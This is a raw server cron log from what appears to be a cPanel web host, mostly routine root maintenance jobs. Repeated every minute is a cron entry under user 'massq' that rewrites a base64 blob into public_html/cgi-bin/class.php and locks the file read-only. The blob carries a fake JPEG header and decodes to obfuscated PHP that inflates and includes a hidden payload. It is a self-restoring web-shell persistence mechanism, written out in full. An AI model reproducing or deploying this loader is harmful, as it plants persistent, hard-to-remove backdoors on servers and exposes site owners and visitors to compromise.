Sep 13 03:28:01 server CROND[24464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:28:01 server CROND[24465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:29:01 server CROND[24942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:29:01 server CROND[24943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:29:01 server CROND[24944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:30:01 server CROND[25344]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:30:01 server CROND[25345]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:30:01 server CROND[25352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:30:01 server CROND[25356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:30:01 server CROND[25360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:30:01 server CROND[25357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:30:01 server CROND[25359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:30:01 server CROND[25361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:31:01 server CROND[26191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:31:01 server CROND[26192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:31:01 server CROND[26193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:32:01 server CROND[26565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:32:01 server CROND[26566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:32:01 server CROND[26567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:33:01 server CROND[27024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:33:01 server CROND[27025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:33:01 server CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:34:01 server CROND[27500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:34:01 server CROND[27501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:34:01 server CROND[27503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:35:01 server CROND[27896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:35:01 server CROND[27898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:35:01 server CROND[27899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:35:01 server CROND[27909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:35:01 server CROND[27916]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:35:01 server CROND[27911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:35:01 server CROND[27914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:35:01 server CROND[27920]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:35:01 server CROND[27926]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 03:36:01 server CROND[28739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:36:01 server CROND[28740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:36:01 server CROND[28741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:37:01 server CROND[29119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:37:01 server CROND[29120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:37:01 server CROND[29121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:38:01 server CROND[29505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:38:01 server CROND[29507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:38:01 server CROND[29508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:39:01 server CROND[29976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:39:01 server CROND[29977]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 03:39:01 server CROND[29978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:39:01 server CROND[29980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:40:01 server CROND[30369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:40:01 server CROND[30368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
